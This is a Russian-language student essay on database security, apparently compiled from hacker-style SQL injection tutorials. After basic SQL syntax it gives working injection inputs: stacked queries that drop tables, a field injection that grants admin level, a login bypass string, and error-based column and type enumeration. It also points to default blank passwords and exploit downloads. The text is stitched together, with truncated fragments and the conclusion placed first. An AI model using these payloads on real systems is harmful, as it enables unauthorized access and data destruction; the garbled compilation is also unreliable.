Автор работы: Пользователь скрыл имя, 02 Октября 2009 в 19:14, Не определен
В реферате содержится информация о современных методах защиты баз данных.
Заключение
Мы показали, что случается, когда разработчики полагаются на хорошую конфигурацию сервера и уделяют меньше внимания безопасному программированию. Мы показали, что SQL инъекции даже в очень ограниченной среде могут таить в себе огромные уязвимости.
Для
начала немного опишу саму технологию
SQL, ведь тебе надо знать, что ты, собственно,
будешь ломать.
Вообще база данных SQL представляет собой
набор банальных таблиц, где каждая колонка
содержит данные определенного типа. Этим
типом может быть число, строка, текст
до 64 килобайт и кучка промежуточных вещей,
добавленных с целью максимально оптимизировать
размеры некоторых баз данных. В UNIX БД
MySQL представляет собой простой каталог
с файлами таблиц. Почему все юзают столь
простую базу? SQL славится скоростью и
юзабельностью.
Ну, так вот, в SQL есть несколько основных
команд работы с данными из базы - это SELECT,
INSERT, UPDATE, DELETE, DROP. Признаком конца команды
является точка с запятой. Опишем коротко
каждую из основных команд.
SELECT
Функция:
вывод данных из таблицы.
Синтаксис:
SELECT <названия полей> FROM <название
таблицы> WHERE <название поля>=<значение>;
Параметр
WHERE не обязателен, а команда
SELECT
* FROM users;
покажет
все данные таблицы "users".
INSERT
Функция:
ввод данных в таблицу.
Синтаксис:
INSERT INTO <название таблицы> (<перечисление
полей> ) VALUES (<значения полей> );
К
примеру,
INSERT
INTO users (login, password) VALUES ('hawker', 'qwerty');
вставит
в таблицу "users" новую строку,
причем
в столбике "login" будет значится
"hawker", а в столбике "password"
- "qwerty".
UPDATE
Функция:
модификация данных в базе.
Синтаксис:
UPDATE <название таблицы>
SET
<название поля>=<значение
К
примеру,
UPDATE
users SET password='asdfg' WHERE login='hawker';
поменяет
поле "password" в строке, добавленной
выше.
DELETE
Функция:
удаление данных из базы.
Синтаксис:
DELETE FROM <название таблицы> WHERE <название
поля>=<значение поля>;
К
примеру,
DELETE
FROM users WHERE login='hawker';
удалит
строку, добавленную выше.
DROP
Функция:
удаление таблицы.
Синтаксис:
DROP TABLE <название таблицы>:
К
примеру,
DROP
TABLE users;
сотрет всю таблицу "users".
Плюс
к описанным командам есть еще: "CREATE
DATABASE <имя базы>;" - для создания
новой базы данных, "USE <имя базы>;"
- для переключения текущей базы
данных и "GRANT <права> ON <имя базы>.<имя
таблицы> TO <юзер>@<хост> IDENTIFIED BY
'пароль';" (к примеру, "GRANT all ON haxor.*
TO hekker@localhost IDENTIFIED BY 'zloipass';" -
добавит юзера "hekker" с паролем "zloipass"
и всеми правами на базу данных "haxor").
Так, с основными командами мы познакомились.
Теперь немного о том, где встречаются
базы SQL. Вообще, сейчас популярно юзать
MySQL + Perl или PHP. То есть в SQL хранятся какие-то
данные, скажем, сообщения гостевухи или
названия/URL порно-картинок, а Perl/PHP-скрипт
обеспечивает доступ к имеющейся базе
через Web. Туча народа активно юзает предложенную
технологию, добавляя на своих сайтах
SQL форумы, гостевухи, базы mp3-файлов. И,
конечно, почти никто не задумывается
о безопасности содеянного. Надо отметить,
что доступ к базе данных SQL происходит
после авторизации, для которой юзаются
логин и пароль. К примеру, у MySQL эти данные
хранятся в базе "mysql", таблице "users".
У каждого юзера устанавливаются свои
привилегии - что он может, а чего нет и
в какой таблице/базе.
Самый простой способ
Некоторые извращенцы берут название
таблицы прямо из URL. Ну, скажем, у чувака
несколько форумов с разными названиями,
для удобства он назвал таблицы в SQL, которые
содержат мессаги форумов, также как сами
форумы. Типа http://blabla.ru/forum.php?
SELECT
* FROM $forum;
DELETE FROM $forum WHERE id=5;
и
так далее...
Проблема в том, что название таблицы обычно
не проверяют на правильность. Тогда, если
мы укажем в URL значение forum типа "main;
DROP TABLE main; SELECT * FROM main", скрипт чувака
может запустить команду:
SELECT * FROM main; DROP TABLE main; SELECT * FROM main;
Как
видно, это не то, на что рассчитывал
творец с самого начала. Таким же
образом мы можем вывести таблицу
с логинами и паролями форума (если
таковые есть).
Опять же оператор DROP сработает только
в том случае, если чувак настолько тупой,
что не убрал право стирать таблицы у SQL-ного
юзера, под которым юзается скрипт. Поверь
мне, таких даунов не мало.
Заморочки
Описанный выше способ часто применим
и для других параметров, передаваемых
в URL. Переменные типа символа или строки
чаще всего обособляют, ведь иначе SQL сервер
заплачет, что ему неправильно параметр
дали. Но вот числа передаются "как есть",
и проверку, что это действительно числа,
делают далеко не все. Обычная команда,
вставляющая данные, полученные от юзера,
выглядит так:
UPDATE
<таблица> first_name='$fname', last_name='$lname', age=$age
WHERE
id=<id юзера>;
Допустим,
это у нас база юзеров какого-то
тупого чата (и мы находимся в
настройках), а также знаем, что
там есть еще поле level, в котором
содержится уровень привилегий, который,
по дефолту, у юзверов, как несложно
догадаться, "user", а у крутых
и злых админов - "supervisor".
Параметр "age", являющийся числом,
отдается SQL'у без обособления (как и название
таблицы), а также не проверяется в скрипте
на корректность. Следовательно, если
мы скажем им, что age = "25, level='supervisor'",
то их тупой скрипт обновления установок
юзверя пошлет такую команду на SQL-сервер:
UPDATE
<таблица> first_name='$fname', last_name='$lname', age=25,
level='supervisor' WHERE id=<id юзера>;
Оп-ля,
мы получили уровень админа. Напомню,
что параметры можно передавать
из URL (http://blabla.ru/cgi-bin/ change.pl?first_name=...&last_
Стандартные юзеры
В Microsoft SQL сервере для нас предусмотрели
дефолтного юзера "sa" без пароля,
а в MySQL сервере по дефолту идет "root"
без пароля. Только законнектиться ты
сможешь не на всякий сервер. MySQL обычно
сидит на 3366 порту, а Microsoft SQL - на 1433-м. Проверь
телнетом - открыт ли он :). Если да - собери
у себя клиент (его можно бесплатно слить
на
Получаем рута локально
Поиметь базу, безусловно, очень интересно
(особенно если она с Credit Cards =), но еще интереснее
захватить всю тачку. И специально для
этого предусмотрительные кодеры SQL постоянно
допускают всяческие ошибки :). Только
тебе в большинстве случаев будет нужен
shell-доступ к тачке, на которой крутиться
SQL-сервер. Замечу, что у большинства админов
MySQL запущен не под root'ом, т.е. так, что ты
получишь доступ только к самой базе данных.
1. MySQL 3.20.32. Этот MySQL имеется локально (в
смысле нужен shell-доступ), причем необходим
клиент (обычно это "/usr/bin/mysql", может
быть "/usr/local/bin/mysql"). Слей эксплоит
с http://www.hack.co.za/
2. MS SQL 7.00.699. Можно убить Microsoft SQL рассматриваемой
неудачной версии, причем удаленно. Проверь,
открыт ли на тачке 1433 порт. Если SQL-сервер
получит по этому порту в потоке TCP больше
двух нулевых (NULL или
Объектом
нашего внимания станут базы данных SQL
которые активно используются для
организации работы сложных Web приложений.
Нашим заданием станет манипулирование
SQL запросом. Вот небольшой пример...
Вы зашли на сайт, где требуется авторизация.
Все, что от вас требуется это ввести правильный
логин и пас. Но что делать, если таковых
в наличии не имеется? Ту вступает в силу
такой раздел, как SQL Injection. Допустим введенные
данные проверяются таким SQL запросом:
$result=mysql_db_query(
pass='$password'");
$num_rows=mysql_num_
mysql_close($link);
if ($num_rows!=0)
{ // AUTHENTICATION OK }
else
{ // AUTHENTICATION ERROR }
(пример
взят с пятого уровня NGSec Game)
Когда мы вводим данные то наш SQL запрос
будет иметь такой вид:
SELECT * FROM users WHERE user='admin' AND pass='admin'
Где "admin" введенный логин, а "admin" пароль. Как вы думаете что произойдет, если ввести имя пользователя например "adm'in". Давайте посмотрим какой запрос получится на этот раз...
SELECT
* FROM users WHERE user='adm'in' AND pass='admin'
На этот раз мы получим сообщение об ошибке,
что-то вроде этого
Server: Msg 170, Level
15,
State 1, Line 1
Line 1: Incorrect syntax near 'in'.
Значит все ок, данный скрпт не проверяет входные данные. А теперь немного логики и мы имеем такое условие:
if
((true=false) or (true=true)) then ..
Это условие будет всегда
верным. А что если в запросе место логина ввести такую шнягу "admin' or ' '=' '-
-",
где "--" означает конец запроса?
Получится вот что:
SELECT * FROM
users WHERE user='admin' or ' '=' '--AND pass='admin'
Oh
no! Мы вошли не зная ни пароля,
ни логина :). Прикол в том что
вот какой запрос у нас вышел:
если логин admin есть в базе
данных или пробел равен
Надеюсь все понятно? А теперь немного
дикой практики... Если ввести логин "admin';
drop table $table--" то мы удалим базу данных.
Но все не так просто. А если ее название
хранится в ругой переменной или прописано
в самом коде, что тогда? Надо узнать имя
БД... Чтобы продолжить будем анализировать
ODBC сообщения об ошибках, приступим... Введем
логин " ' having 1=1--" на что сервер обругается
где-то так:
Microsoft
OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC
SQL
Server Driver][SQL Server]
Column 'users.status' is invalid in the
select
list because it is not contained
in an aggregate function and there
is no GROUP BY clause.
Теперь нам известно, что имя базы данных "users", а первая колонка называется "status". Неплохо, тоесть снести все нахрен мы уже сможем :), но давайте попробуем добавить себя в базу данных, чтобы потом не парится. Но чтобы себя добавить нам надо знать количество и название полей. Давайте введем такое чудо:
" ' group by users.id having
1=1--"
Получим вот что:
Column 'users.username' is invalid in the select list because it is not contained in
either an aggregate function or the GROUP BY clause.
Значит нам теперь известно второе поле, дальше... набиваем:
" ' group by users.status, users.username having
1=1--"
и так последовательно узнаем все поля, до тех пор пока в ответ мы не получим ошибки. Допустим это получилось и
" ' group by users.status,
users.username, users.password, users.mail having 1=1--"
не вызвало ошибок. Отлично! Значит все поля это status, username, password и mail. Но теперь мы должны узнать тип используемый для каждого поля. Введем место логина такое:
" ' union select sum(username) from users--"
и что мы видим? А вот что :
The sum or average aggregate operation cannot take a
varchar data type as an argument.
А значит это что username это varchar, то бишь строка. Теперь набиваем:
" ' union select sum(status) from
users--".
Смотрим на результат:
All queries in an SQL statement containing a UNION operator must have an
equal
number of expressions in their target lists.
Это значит что поле status - число. Все теперь
добавляем